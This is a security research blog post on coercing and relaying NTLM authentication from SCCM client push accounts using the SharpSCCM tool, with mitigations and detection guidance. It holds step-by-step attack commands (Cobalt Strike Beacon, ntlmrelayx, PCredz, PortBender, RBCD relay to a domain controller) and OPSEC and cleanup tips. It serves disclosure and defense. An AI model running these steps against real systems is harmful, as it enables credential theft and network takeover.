Coercing NTLM Authentication from SCCM

tl;dr: Disable NTLM for Client Push Installation

When SCCM automatic site assignment and automatic client push installation are enabled, and PKI certificates aren’t required for client authentication, it’s possible to coerce NTLM authentication from the management point’s installation and machine accounts to an arbitrary NetBIOS name, FQDN, or IP address, allowing the credentials to be relayed or cracked. This can be done using a low-privileged account on any Windows SCCM client.

Client push installation accounts require local admin privileges to install software on systems in an SCCM site, so it is often possible to relay the credentials and execute actions in the context of a local admin on other SCCM clients in the site.

To prevent the attack techniques noted in this blog post, disable the “Allow connection fallback to NTLM” client push installation setting, which is enabled by default in SCCM.

SharpSCCM is a tool that can be used to demonstrate that this attack is possible against the current version of Microsoft Endpoint Configuration Manager (ConfigMgr). The attack techniques detailed in this post were tested against version 2111, Site version 5.0.9068.1000, and version 2103, Site version 5.0.9049.1000, and were reported to Microsoft, but were not considered vulnerabilities.

Credits

This research was based on an issue that was first discovered and publicized by Matt Nelson (@enigma0x3) in 2018, in this tweet:

The work done on PowerSCCM by Will Schroeder (@harmj0y), Jared Atkinson (@jaredcatkinson), Matt Nelson (@enigma0x3), and Matt Graeber (@mattifestation) inspired and laid the groundwork for the creation of SharpSCCM.

I’d also like to thank Duane Michael (@subat0mik) and Evan McBroom (@mcbroom_evan) for researching Network Access Account (NAA) policy encryption and decryption with me (coming soon), as well as Elad Shamir (@elad_shamir) and Nick Powers (@zyn3rgy) for helping me identify the attacks that are possible using the relayed credentials.

The SCCM subreddit community also pointed me to a ton of excellent resources while developing this project. There are a lot of incredibly kind, active, knowledgeable, and supportive people there and I highly recommend joining if you share an interest in SCCM administration or security.

Background

I reviewed the techniques that Matt Nelson mentioned could be used to coerce authentication from the client push installation account and found that when the “Clear Install Flag” site maintenance task is enabled, SCCM will eventually initiate client push installation if you simply remove the client software from a system. However, removing the client requires local administrator privileges and the site will only kick off automatic reinstallation after 21 days of inactivity by default. That is way too long to wait while conducting an operation to demonstrate the impact of this issue to clients.

I wanted to determine whether I could initiate automatic client push installation instantly to any system without having local administrator privileges and eventually discovered a method to do so.

Since ConfigMgr was formerly named System Center Configuration Manager and is still commonly referred to as SCCM, I will be using the acronym SCCM to refer to ConfigMgr throughout this post.

This post also frequently refers to NTLM authentication and relaying. If you’d like to learn more about NTLM authentication and relaying before reading the rest of this post, there is a lot of great information out there, such as https://en.hackndo.com/ntlm-relay/ by Pixis. I’ll be referring to NetNTLMv2 authentication as NTLM throughout this post.

Impact

SCCM client push installation accounts require local admin privileges to authenticate to a machine and install the SCCM client.

This means that NTLM authentication coerced using this technique will often have local admin privileges on all SCCM clients in the site.

This also means that some organizations use a member of highly privileged groups such as Domain Admins for client push installation for the sake of convenience.

If all configured accounts fail when the server tries to authenticate to a system to install the client, or if no specific installation accounts are configured, the server tries to authenticate with its machine account. If the WebClient (WebDAV) service is enabled on the server, it is possible to coerce NTLM authentication via HTTP, allowing relay to LDAP or HTTP to conduct attacks such as Shadow Credentials, Resource-based Constrained Delegation, or AD CS ESC8 to take over the server.

SCCM Crash Course

Site

The systems that make up an SCCM environment. Each site is identified by a three character site code (e.g., PS1).

Site Server

A computer that is assigned one or more roles in the site.

Management Point

A site server that receives client configuration data and responds to client requests for policy and service locations. SharpSCCM technically interacts with a management point, but the terms server, site server, and management point will all be used to refer to the management point in this post.

Discovery Methods

Configurable methods the site uses to discover computers.

Boundary Group

Network locations (e.g., IP subnets/address ranges, Active Directory sites) that include client systems managed by the site.

Automatic Site Assignment

A setting that automatically assigns systems discovered in a specific boundary group to a specific site (e.g., all systems discovered in AD domain X are automatically assigned to site Y). This setting must be configured by the SCCM admin to enable automatic site-wide client push installation.

Client Push Installation

A method for deploying the SCCM client software where the server connects to a machine’s ADMIN$ share, copies over the files needed for installation, and executes the installer (ccmsetup.exe). By default, this connection occurs over SMB, but can occur over HTTP if WebClient is enabled on the site server and the target machine’s NetBIOS name is set to a value that specifies a port number (e.g., machine@8080).

Client Push Installation Accounts

The list of accounts that the site server tries to authenticate with to install the client. By default, if none of the configured accounts can successfully authenticate, or if no accounts are configured, the site server attempts to authenticate with its machine account.

Automatic Site-wide Client Push Installation

When automatic site assignment and this setting are enabled, the site automatically tries client push installation on any computers it discovers within a boundary group. This option is not enabled by default.

Allow connection fallback to NTLM

A client push installation setting that allows the server to attempt NTLM authentication when Kerberos authentication fails. This option is enabled by default.

Registration Request

A message sent to the management point to register a new client with the site.

Automatic Client Push — Under the Hood

Heartbeat Discovery

The only default method that the site uses to discover computers is Heartbeat Discovery. This allows clients to send Data Discovery Record (DDR) messages to management points to update information such as their hardware inventory and installation status. Microsoft also notes that “The Heartbeat Discovery method can force discovery of a computer as a new resource record”. That gave me an idea.

Gratuitous Registration Requests and Heartbeat DDRs

What if a client registration request and subsequent DDR are sent to the management point saying that the client is not installed on a system? As it turns out, when certain properties are present in the DDR, the server will immediately attempt to install the client on the system noted in the messages.

Key DDR Properties

One of the DDR properties that is used to identify a new resource is its NetBIOS name, and the management point determines that it should initiate automatic client push installation to that NetBIOS name when the inventory report contained in the DDR indicates that:

1. the client is not installed
2. automatic site-wide client push installation is enabled for workstations, servers, and/or domain controllers
3. the “Operating System Name and Version” property is set to one of the following:
   a. “Microsoft Windows NT Workstation <Version>”
   b. “Microsoft Windows NT Server <Version>”
   c. “Microsoft Windows NT Advanced Server”

Blast Radius

If PKI certificates are not required for client authentication, the management point does not verify that DDR came from a legitimate existing client, nor does it validate that the system noted in the DDR is at the IP address the DDR originated from. As a result, any NetBIOS name, FQDN, or IP address can be supplied in the DDR and the site server will try to install the client on it.

The management point still accepts client registration requests and heartbeat DDRs and initiates client push installation:

• when no Discovery Methods are enabled
• when manual approval is required for new devices
• when Enhanced HTTP Communication Security is enabled

Other Discovery Methods

It is also possible to create new device records in SCCM when Active Directory System Discovery is enabled. If the “ms-DS-MachineAccountQuota” attribute is set to a positive number, tools such as Powermad can be used to create a new system object in AD and the site will automatically discover the system within 5 minutes by default. If dynamic DNS updates are also supported, tools such as Invoke-DNSUpdate can be used to create a DNS entry for the new system that points to an arbitrary IP address.

However, possibly because the creator of an AD system object does not possess the necessary permissions to modify the Operating System Name and Version attributes for that object by default, I have not yet found a way to force automatic client push installation via Active Directory System Discovery.

Is my SCCM site vulnerable?

SCCM Site Prerequisites

Let’s lay out the prerequisites for this attack that I’m currently aware of:

1. Automatic site assignment for a boundary group, automatic site-wide client push installation, and “Allow connection fallback to NTLM” must be enabled.
2. The target management point must be able to reach the capture/relay server via SMB on port 445 or if WebClient is enabled, via HTTP on any port.
3. HTTPS Only with PKI certificates must not be required for client authentication to management points for this attack to be executed as a low-privileged user. It may still be possible for a local administrator to access existing client authentication certificates and conduct this attack.

If your SCCM settings look like these, your site may be vulnerable:

Client Push Installation Properties:

Automatic Site Assignment:

Communication Security:

How do I prevent this attack?

• Disable the “Allow connection fallback to NTLM” client push installation setting. This is the only action needed to prevent the attack techniques noted in this blog post.
• Use software update-based client installation instead of automatic site-wide client push installation.
• Never use members of highly privileged groups (e.g., Domain Admins) for client push installation. Instead, create an account for each site specifically for this purpose that doesn’t have interactive logon rights and add it to the local Administrators group. Monitor for suspicious use of this account.
• Require SMB signing and LDAP signing/channel binding to prevent relayed credentials from being used to authenticate to other systems.
• Requiring PKI certificates for SCCM client authentication also prevents this attack from being conducted as a low-privileged user, even if NTLM authentication is allowed. However, it may still be possible for a local administrator to use an existing client authentication certificate to communicate with a management point and execute this attack. Please note that implementing PKI certificates adds overhead. It’s not easy, but it’s a more secure configuration.

Invoking Automatic Client Push with SharpSCCM

Overview

SharpSCCM’s invoke client-push function abuses the way automatic site-wide client push installation happens by using the Client Messaging SDK DLLs that ship with the SCCM client to send the management point a new device registration request followed by a subsequent heartbeat DDR that says that the client is not installed on a specified NetBIOS name, FQDN, or IP address. If the SCCM Site Prerequisites above are met, the site will initiate client push installation and try to use each configured account and the machine account to connect to the ADMIN$ share on the specified host.

Attacker Prerequisites

In addition to the SCCM Site Prerequisites above, an attacker only needs access to a Windows SCCM client as any user to execute this attack using SharpSCCM. Local administrator privileges are not required.

However, if you want to run the capture/relay server on the same SCCM client that is used to execute SharpSCCM, local administrator privileges are required to take control of port 445. A separate capture/relay server is needed otherwise.

All conditions for successful NTLM relay apply here. If relaying to SMB, SMB signing must be disabled on the target. If relaying to LDAP(S), either signing must not be required or channel binding must be disabled on the server.

Coerce, Capture, and Relay SMB Client Push — Attack Step-by-Step

The following steps can be completed with local administrator access to a single Windows SCCM client in the target environment. A Cobalt Strike Beacon running with local administrator privileges on a Windows SCCM client in the target environment and a remote, attacker-controlled Linux system running the Cobalt Strike client were used for this demonstration.

OPSEC Note: The merged SharpSCCM executable that includes all dependencies is larger than the execute-assembly Beacon command’s maximum allowed size (1MB). Removing portions of the code that are not necessary for this particular attack and recompiling so that the file does not need to be uploaded to the target are exercises left to the reader.

1. Confirm that the compromised Windows host is a client of SCCM. Take note of the value of the CurrentManagementPoint property and the characters following “SMS:” in the Name property’s value, which is the site code assigned to the client.

beacon> 
run SharpSCCM.exe local siteinfo

2. Try to determine whether automatic site-wide client push installation and fallback to NTLM authentication are enabled. I say “try” because I have not yet found a way to determine that these settings are enabled from a client. There is a sequence of log events that indicates whether the client push method was used to install the client, but the logs do not indicate whether automatic or manual client push installation was used.

To review these logs:

a. Determine the last time the client installer (ccmsetup) was executed.

beacon>
run SharpSCCM.exe local grep C:WindowsccmsetupLogsccmsetup.log "ccmsetup started"

b. Review the System Windows Logs events that occurred a few minutes before and after the last time ccmsetup was executed. In my lab, a DistributedCOM error event was present noting the name of the client push installation account used to connect to the host from the site server.

Immediately following was an LSA warning event indicating that the site server attempted to use NTLM authentication.

3. Start a SOCKS proxy on the Cobalt Strike team server using the Beacon on the Windows host.

beacon>
socks 7001

4. Create a local port forward from the port used by proxychains on the Cobalt Strike client (default: 9050) to the SOCKS proxy port on the team server.

cs-linux-client$
ssh -f -N -L 9050:127.0.0.1:7001 root@<team_server_ip>

5. Run ntlmrelayx through proxychains and PCredz on the loopback interface of the system running the Cobalt Strike client. Target a system that has SMB signing disabled.

a.
cs-linux-client$
sudo proxychains4 ntlmrelayx.py -smb2support -ts -ip 127.0.0.1 -t <target_ip>

b.
cs-linux-client$
sudo python3 Pcredz -i lo -t –v

6. Task the Beacon to become interactive.

beacon>
sleep 0

7. Configure a reverse port forward from port 8445 on the compromised workstation to port 445 on the loopback address of the system running the Cobalt Strike client.

beacon>
rportfwd_local 8445 127.0.0.1 445

8. Upload the PortBender WinDivert64.sys driver to the System32 directory on the compromised workstation.

beacon> 
cd C:WindowsSystem32 
upload /path/to/WinDivert64.sys

9. Set Beacon spawnto for 32-bit processes.

beacon>
spawnto x86 C:WindowsSysWOW64werfault.exe

10. Load PortBender.cna in Cobalt Strike Script Manager.

11. Execute PortBender to forward incoming SMB traffic to port 445 of the compromised workstation to port 8445.

beacon>
PortBender redirect 445 8445

12. Use SharpSCCM’s invoke client-push function to register a new device with the management point and send a DDR to initiate automatic client push installation to your Windows host.

beacon>
run SharpSCCM.exe <server> <sitecode> invoke client-push -t <windows_host_ip>

After a few seconds, but within a minute, you should see a new connection received by PortBender.

Next, you should see the NetNTLMv2 hashes for the configured client push installation account(s) and the site server’s machine account in the output from PCredz.

Finally, you should see a successful connection from ntlmrelayx to the target host that has SMB signing disabled, as well as hashes from secretsdump.

SCCM Server Takeover — Attack Step-by-Step

If WebClient is enabled on the SCCM server that is used to initiate client push installation for some reason, it’s possible to take over the SCCM server if either signing is not required or channel binding is disabled on a domain controller.

To conduct a RBCD attack to take over the server, follow steps 1 through 4 in the section above, then:

5. Run ntlmrelayx through proxychains on the loopback interface of the system running the Cobalt Strike client. Target the FQDN of a domain controller that has LDAP signing/channel binding disabled. If you’re unsure, run LDAPRelayScan by Nick Powers (@zyn3rgy) against the target first.

cs-linux-client$
sudo proxychains4 ntlmrelayx.py --no-smb-server --no-wcf-server –no-raw-server -ts -ip 127.0.0.1 -t ldaps://<domain_controller_fqdn> --http-port 445 --no-da  --delegate-access

Follow steps 6 through 11 in the section above, then:

12. Use SharpSCCM’s invoke client-push function to register a new device with the management point and send a DDR to initiate automatic client push installation to your Windows host. You must use the NetBIOS name of the device in order for WebClient’s HTTP authentication to succeed. The IP address and FQDN will not work.

beacon>
run SharpSCCM.exe <server> <sitecode> invoke client-push -t "<windows_host_netbios_name>@445"

After a few seconds, but within a minute, you should see a new connection received by PortBender.

Then, you should see the HTTP request received by ntlmrelayx and forwarded to the LDAP service on the target domain controller.

Currently, this takeover attack only works with ntlmrelayx if no accounts are configured for client push installation, so the site server falls back to using its machine account. Since it is not possible to know what accounts the site server uses for client push before ntlmrelayx receives an NTLM AUTHENTICATE message for an incoming WebClient connection, and the site server gives up after detecting that NTLM authentication was started with another configured account, a workaround must be used to coerce authentication from the machine account when other client push accounts are configured.

Several workarounds that result in authentication from the machine account may be possible. For example, it may be possible to respond to NTLM AUTHENTICATE messages with a 401 Unauthorized message unless the account used is the machine account, or to drop X incoming HTTP requests before NTLM negotiation begins, where X is the number of client push accounts minus one. These workarounds have not yet been built into SharpSCCM.

OPSEC

SharpSCCM

If leveraging the FQDN or NetBIOS name of the management point, the system executing SharpSCCM will negotiate Kerberos authentication to obtain a service ticket for RPCSS on the site server when connecting to WMI. As a result, there should be only one observable authentication event, regardless of how many times SharpSCCM is run, as the service ticket will be cached in memory on the machine you are running it from. However, if NTLM authentication is used (e.g., by using the IP address of the site server or if Kerberos is unavailable), then an authentication event will occur each time the application is run.

Several artifacts are left behind by SharpSCCM, depending on the subcommands used. Check out the Detection Guidance section below for more information about these potential indicators of compromise.

PortBender

Sometimes PortBender stops working and the system assumes control of port 445 again. If this happens, the management point will likely succeed in connecting to the host via SMB, check that the client is installed and operating correctly, and disconnect. However, if there are any actual issues with the client on the system, the client will be reinstalled, generating a lot of noise. The most effective way to prevent this is to ensure that PortBender is running immediately before running the invoke client-push command.

Cleaning Up

Unfortunately, I haven’t figured out how to remotely delete device records or remove CCRs in the retry queue that are created by heartbeat DDRs without having Full Administrator privileges to SCCM. By default, the site will retry client push installation every 60 minutes for 7 days, and if a newly discovered device sits in the client push installation retry queue for more than 24 hours, an error message may be displayed in the console to administrators.

With Full Administrator access to SCCM, artifacts created by SharpSCCM that cause client push installation retries can be removed through the administration console or using SharpSCCM.

The following command can be used to identify the device’s ResourceId.

beacon>
run SharpSCCM.exe <server> <sitecode> get device -n <device_name> -p "Name" -p "ResourceId" -p "SMSUniqueIdentifier"

A file located at C:Program FilesMicrosoft Configuration Managerinboxesccrretry.box with the ResourceId of the device can be manually deleted to stop client push installation retries.

The output of this command also lists the GUID for each device that was created (this information is also noted in the output of SharpSCCM’s invoke client-push command).

The following command can be used to remove a device with the specified GUID.

beacon>
run SharpSCCM.exe <server> <sitecode> remove device <guid>

Other Methods to Coerce Client Push Installation

I currently know of two other ways to invoke client push installation if automatic site-wide client push is disabled. They can be accomplished using an account explicitly granted the SCCM Full Administrator role or using a local administrator account on the site database server.

SCCM Administrator

If you are already in the context of an account with Full Administrator access to SCCM, the following command can be run to determine whether automatic client push installation and fallback to NTLM authentication are enabled for the site. The output also lists any accounts that are enabled for client push installation.

beacon>
run SharpSCCM.exe <server> <sitecode> get site-push-settings

With this level of privilege, a new device registration request and heartbeat DDR are not needed to initiate client push installation. Instead, the GenerateCCRByName method made available by the ConfigMgr API can be used to create a client configuration request (CCR) for a given host or IP address. This method is preferable when it is an option because fewer artifacts are left behind using this technique.

beacon>
run SharpSCCM.exe <server> <sitecode> invoke client-push -t <windows_host_ip> --as-admin

SCCM also ships with a tool that is installed on site servers by default called ClientPushGenerator.exe, a .NET assembly that uses the same GenerateCCRByName method to target a specific system and begin client push installation.

The Install-CMClient PowerShell cmdlet can also be used to initiate client push installation with Full Administrator privileges.

Local Admin on Site Database Server

By default, SCCM does not allow local administrators on site servers to access the SCCM administration console or server WMI objects without being explicitly granted Full Administrator access to SCCM. This restriction includes Domain Admins. However, in older versions of SCCM, it was possible for local admins on management points to coerce the client push installation accounts into authenticating to an arbitrary system by creating a CCR and placing into the ccr.box directory.

In ConfigMgr 2012, this technique no longer works without also adding a few records to the site database to kick off client push installation.

When is this useful? Consider an example where an attacker with local administrator privileges on the site database server might want to obtain access to the client push installation account if they suspect it might help them escalate privileges in the environment (e.g., if the client push account is a member of Domain Admins or is an SCCM Full Administrator) but no high-value accounts are logged in to steal tokens/tickets from.

SCCM Site Database Server — Attack Step-by-Step

When targeting ConfigMgr 2012, these steps need to occur in this order to invoke client push installation:

1. Get the ResourceId for the device you want to initiate client push installation to using the SharpSCCM.exe <server> <sitecode> get device -n <device_name> -p “Name” -p “ResourceId” command.
2. On the site database server, copy any existing record in the ClientPushMachine_G table to a new row, setting the value of the MachineId field to the ResourceId of the device you want to push to.
3. Create a new record in the CP_System_Resource_N_ARR table:
   a. Set the value of ItemKey to the ResourceId of the device you want to push to.
   b. Set the value of Resource_Names() to anything.
   c. Set the value of SiteNumber to 1.

4. Write a blank file named <ResourceId>.ccr and save it in the C:Program FilesMicrosoft Configuration Managerinboxesccr.box directory.

SCCM Site Database Server — Cleanup Step-by-Step

1. Delete the row created in the CP_System_Resource_N_ARR table.
2. Delete the row created in the ClientPushMachine_G table.
3. Delete the <ResourceId>.ccr file from the C:Program FilesMicrosoft Configuration Managerinboxesccrretry.box directory.

This functionality is not yet built into SharpSCCM but is fairly easy to accomplish with access to SQL Server Management Studio on the site database server.

Detection Guidance

Indicators of Compromise

Here are a few changes that could be present after this technique is used to coerce authentication from the client push installation account:

• Client push installation accounts are being used to authenticate to devices outside of a site or to devices within a site that already have the client installed.
• Client push installation accounts are being used to connect to services other than SMB (in the case of relay to HTTP/LDAP).
• New devices are created in SCCM using an IP address, IP address@port, or IP address@ssl:port as the NetBIOS name.
• New devices are created in SCCM using the same NetBIOS name and IP address as an existing device.
• New self-signed certificates are created on client machines.
• The SMS Signing or SMS Encryption machine certificates on the client are read by a process that is not a legitimate client process.
• There are new items in the C:Program FilesMicrosoft Configuration Managerinboxesccrretry.box directory on the site server.
• The Data Discovery Manager log reports new systems discovered via Heartbeat DDR.
• There are new items in the ClientPushMachine_G and CP_System_Resource_N_ARR site database tables.

Building, Testing, and Contributing to SharpSCCM

Building

Build instructions are located in the README.md file on the GitHub project page (https://github.com/Mayyhem/SharpSCCM).

Lab Setup

Microsoft’s official lab kits can automatically deploy a fully operational SCCM lab in Hyper-V running ConfigMgr 2103 or 2111:

• https://docs.microsoft.com/en-us/microsoft-365/enterprise/modern-desktop-deployment-and-management-lab?view=o365-worldwide

Microsoft’s official lab kits are vulnerable to this attack technique by default.

Lab Tools

The following tools were helpful at one point or another in discovering and developing the techniques used by SharpSCCM. I can’t thank the creators of these tools enough for sharing their work with the community.

• CMMessaging — Taught me how to interact with the management point using the Messaging SDK
• CMTrace — SCCM’s log viewer, installed on clients and servers by default
• DataProtectionDecryptor — Used to identify the key used for decryption of NAA credentials
• dnSpy — For decompiling and live debugging of .NET assemblies included with SCCM client and server software
• DocumentConfigMgrCB — Gathers SCCM configurations into one convenient HTML file
• Ghidra — For reverse engineering native binaries included with SCCM client and server software
• PolicySpy — SCCM’s policy viewer, installed on clients and servers by default
• PowerSCCM — The inspiration and foundation for SharpSCCM
• ProcMon — For monitoring system resources used by the SCCM client and SharpSCCM
• SQL Server Management Studio — For interacting directly with the SCCM site database
• watcher.ps1 — Monitors a directory for new/modified files and copies them to another location. This was useful for monitoring messages received in management point inbox directories, which are only present for a few milliseconds. Based on this StackOverflow answer from postanote.
• Wireshark — For viewing messages between the client and management point
• WMICodeCreator — For generating C# code to execute WMI queries or methods
• WmiExplorer — The best tool I could find for interacting with a local or remote WMI repository

Testing

Debugging issues that occur between the client running SharpSCCM and the management point when coercing client push installation is pretty easy. Logs related to system discovery are included in C:Program FilesMicrosoft Configuration ManagerLogsddm.log, and logs related to client push installation are included in C:Program FilesMicrosoft Configuration ManagerLogsccm.log on the management point. These files can be merged and reviewed in real time using the CMTrace utility that ships with SCCM.

Getting into the Weeds

Many of the assemblies that ship with the SCCM client and server software (e.g., Microsoft.ConfigurationManagement.Messaging.Messages) were written in C# and rely on the .NET Framework. As a result, they can be easily decompiled using dnSpy.

A lot of the classes in these assemblies are detailed on Microsoft’s web site in the related SDK documentation.

Many of the other DLLs included with the SCCM software were written in C/C++ and can’t be decompiled back into their original code. However, the developers meticulously documented many of the function names in debug messages that can be recovered using the bash “strings” command.

For example, if you wanted to find DLLs that mention “NetworkAccessAccount” for your research, the following command recursively lists all DLLs below the current path, runs strings, and searches the results for files that include that string.

$ for file in `ls -R -d *.dll`;do echo $file && strings $file 2>&1 | grep -o -a NetworkAccessAccount;done|grep -B1 NetworkAccessAccount 
TSAgent.dll
NetworkAccessAccount
TSCore.dll
NetworkAccessAccount

After finding a DLL with a function you’d like to look more closely at, tools like Ghidra can be used to decompile the DLL and reverse engineer the code.

Contributing

Please create and checkout a new feature branch from the main branch in your fork of the SharpSCCM git repository, make your changes, and submit a pull request.

SharpSCCM Limitations

• SharpSCCM relies on several external dependencies (e.g., the Messaging SDK DLLs) to function. These DLLs are present on SCCM clients but require local administrator to access in their legitimate locations, so they are packaged with SharpSCCM as well.
• The merged SharpSCCM executable that includes all dependencies is larger than the execute-assembly Beacon command’s maximum allowed size (1MB). Removing portions of the code that are not necessary for this attack and recompiling so that the file does not need to be uploaded to the target are exercises left to the reader.
  – The Apollo Mythic agent by @djhohnstein does not have this limitation.
• .NET Framework 4.7.2 was targeted because it is supported by most Windows 10 versions and is the earliest version that includes the System.Security.Cryptography.X509Certificates.CertificateRequest class.

What’s Next for SharpSCCM?

• Option to save the self-signed certificate used to communicate with the management point in the User Certificates store so that it can be reused by SharpSCCM
• Functionality to pull the Network Access Account policy from the server and decrypt its password without having the local administrator privileges required to unprotect it using the DPAPI system key
• Option to use PKI certificates when required by the site and the user executing SharpSCCM has local Administrator privileges
• Functionality noted in the Local Admin on Site Database Server section above

Research Ideas

I suspect it might be possible to register SCCM clients and send requests to the management point from any machine, even if the machine is not a client of SCCM. All that seems to be required is a self-signed certificate to sign/encrypt messages, a message containing certain XML elements that is formatted correctly, and the ability to communicate with the management point via HTTP. Additional research is needed to determine whether the SCCM Messaging SDK functions could be ported to another language (e.g., Python — lookin’ at you, Impacket contributors).

Here are a few other areas that might be interesting to research:

• Test whether existing PKI client authentication certificates can be used to communicate with management points if the user has local administrator privileges
• Privilege escalation from local administrator on the site database server to Full Administrator of SCCM. This likely requires a record to be added to the RBAC_Admins table in the site database.
• Privilege escalation from local administrator on site servers hosting other roles to Full Administrator of SCCM
• Coercing client push installation via Active Directory System Discovery
• Coercing client push installation in environments integrated with AzureAD

If you’re interested in collaborating on SCCM security research, or if you have any corrections/feedback for this post, please hit me up on Twitter (@_Mayyhem) or in the BloodHoundGang Slack (@Mayyhem)!

---

Coercing NTLM Authentication from SCCM was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.